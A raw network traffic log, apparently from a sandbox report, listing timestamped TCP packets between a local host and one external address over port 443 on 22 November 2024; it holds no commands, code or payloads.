Nov 22, 2024 23:01:00.092221975 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.092258930 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.092279911 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.102209091 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.102253914 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.102293015 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.102302074 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.102340937 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.102365017 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.105547905 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.105572939 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.105664968 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.105688095 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.105746984 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.108412027 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.108455896 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.108506918 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.108520985 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.108552933 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.108571053 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.115261078 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.115304947 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.115407944 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.115407944 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.115428925 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.115487099 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.117033958 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.117063046 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.117122889 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.117139101 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.117171049 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.117202044 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.122607946 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.122627974 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.122704029 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.122719049 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.122767925 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.129573107 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.129595041 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.129703045 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.129713058 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.129759073 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.131040096 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.131063938 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.131124020 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.131139994 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.131185055 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.132730961 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.245557070 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.245585918 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.245696068 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.245719910 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.245774031 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.267513037 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.267539978 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.267621994 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.267637014 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.267689943 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.286416054 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.286438942 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.286533117 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.286544085 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.286592960 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.287892103 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.287919044 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.287975073 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.288012028 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.288031101 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.288057089 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.297883034 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.297944069 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.297985077 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.298007965 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.298038006 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.298055887 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.308016062 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.308039904 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.308089018 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.308106899 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.308154106 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.308531046 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.308553934 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.308568001 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.308602095 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.308618069 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.308655977 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.308681965 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.316850901 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.316874027 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.316934109 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.316962004 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.316984892 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.316999912 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.326364040 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.326394081 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.326443911 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.326473951 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.326494932 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.326519966 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.330435991 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.330460072 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.330538988 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.330566883 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.330581903 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.330632925 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.330646038 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.330662012 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.330679893 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.330692053 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.330719948 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.331505060 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.331521034 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.351090908 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.351136923 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.351205111 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.351216078 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.351259947 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.359146118 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.359174967 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.359235048 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.359256029 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.359270096 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.359298944 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.365468025 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.365494013 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.365544081 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.365550041 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.365585089 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.365628004 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.372646093 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.372672081 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.372739077 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.372752905 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.372807980 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.379924059 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.379952908 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.380023003 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.380036116 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.380079985 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.380096912 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.386275053 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.386301041 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.386384964 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.386399031 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.386464119 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.393996000 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.394027948 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.394090891 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.394104004 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.394141912 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.394159079 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.400412083 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.400440931 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.400521994 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.400540113 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.400603056 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.407566071 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.407593012 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.407689095 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.407706022 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.407727957 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.407771111 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.407810926 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.408011913 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.408046007 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.475194931 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.475255013 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.475353003 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.475620031 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.475635052 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.822465897 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.822483063 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.822505951 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.822540998 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.822566032 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.822585106 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.822629929 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:01.055903912 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:01.055922031 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:01.055955887 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:01.056051970 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:01.056072950 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:01.056087971 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:01.056122065 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:01.063276052 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:01.063302040 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:01.063347101 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:01.063354969 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:01.063379049 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:01.063402891 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:01.293284893 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:01.293302059 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:01.293337107 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:01.293384075 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:01.293401003 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:01.293432951 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:01.293452024 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:01.297400951 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:01.297468901 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:01.297477007 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:01.297522068 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:01.297569036 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:01.297734976 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:01.297753096 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:01.300503969 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:01.300540924 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:01.300637007 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:01.300880909 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:01.300899029 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:01.323355913 CET	49813	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:01.323399067 CET	443	49813	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:01.323457003 CET	49813	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:01.324043036 CET	49813	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:01.324054003 CET	443	49813	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:01.326258898 CET	49814	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:01.326272964 CET	443	49814	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:01.326334000 CET	49814	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:01.326510906 CET	49814	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:01.326524973 CET	443	49814	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:01.328119040 CET	49815	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:01.328128099 CET	443	49815	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:01.328187943 CET	49815	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:01.328610897 CET	49816	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:01.328696966 CET	443	49816	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:01.328775883 CET	49816	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:01.329128027 CET	49815	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:01.329137087 CET	443	49815	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:01.329351902 CET	49816	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:01.329396009 CET	443	49816	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:01.329680920 CET	49817	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:01.329705000 CET	443	49817	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:01.329765081 CET	49817	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:01.330332041 CET	49817	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:01.330344915 CET	443	49817	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:01.949501991 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:01.949852943 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:01.949876070 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:01.950876951 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:01.950948954 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:01.951378107 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:01.951440096 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:01.951589108 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:01.951597929 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.006151915 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:02.515746117 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.515769005 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.515773058 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.515889883 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.515906096 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.515914917 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.515925884 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:02.515943050 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.516011000 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:02.622669935 CET	443	49817	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.622903109 CET	49817	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:02.622924089 CET	443	49817	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.624473095 CET	443	49817	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.624577999 CET	49817	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:02.624825954 CET	49817	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:02.624922037 CET	443	49817	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.624963045 CET	49817	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:02.659451962 CET	443	49813	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.659658909 CET	49813	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:02.659683943 CET	443	49813	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.660057068 CET	443	49813	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.660389900 CET	49813	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:02.660444975 CET	443	49813	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.660511017 CET	49813	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:02.664793015 CET	443	49815	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.664982080 CET	49815	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:02.664988995 CET	443	49815	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.666524887 CET	443	49815	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.666595936 CET	49815	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:02.666867971 CET	49815	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:02.666977882 CET	49815	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:02.666984081 CET	443	49815	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.667335987 CET	443	49817	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.669477940 CET	443	49814	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.669686079 CET	49814	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:02.669737101 CET	443	49814	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.670921087 CET	443	49814	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.671401024 CET	49814	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:02.671583891 CET	49814	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:02.671587944 CET	443	49814	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.674680948 CET	49817	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:02.674690008 CET	443	49817	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.692131042 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.692342997 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:02.692364931 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.695890903 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.695983887 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:02.696422100 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:02.696573973 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:02.696600914 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.703340054 CET	443	49813	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.706666946 CET	49815	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:02.706674099 CET	443	49815	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.712117910 CET	443	49816	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.712316990 CET	49816	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:02.712379932 CET	443	49816	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.713838100 CET	443	49816	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.713923931 CET	49816	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:02.714138031 CET	49816	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:02.714241028 CET	49816	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:02.714256048 CET	443	49816	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.714287043 CET	443	49816	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.715344906 CET	443	49814	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.715738058 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.715758085 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.715804100 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:02.715816975 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.715837002 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:02.715867996 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:02.722682953 CET	49817	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:02.722688913 CET	49814	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:02.738689899 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:02.738711119 CET	443	49812	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.752289057 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.752306938 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.752358913 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:02.752372026 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.752404928 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:02.752428055 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:02.754686117 CET	49815	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:02.754708052 CET	49816	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:02.754734039 CET	443	49816	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.786700964 CET	49812	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:02.802709103 CET	49816	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:02.885934114 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.885957956 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.886018038 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:02.886034012 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.886070967 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:02.886094093 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:02.914072037 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.914092064 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.914159060 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:02.914170027 CET	443	49811	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:02.914216995 CET	49811	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:02.933135986 CET	443	49811	217.77.14.110	192.168.2.16
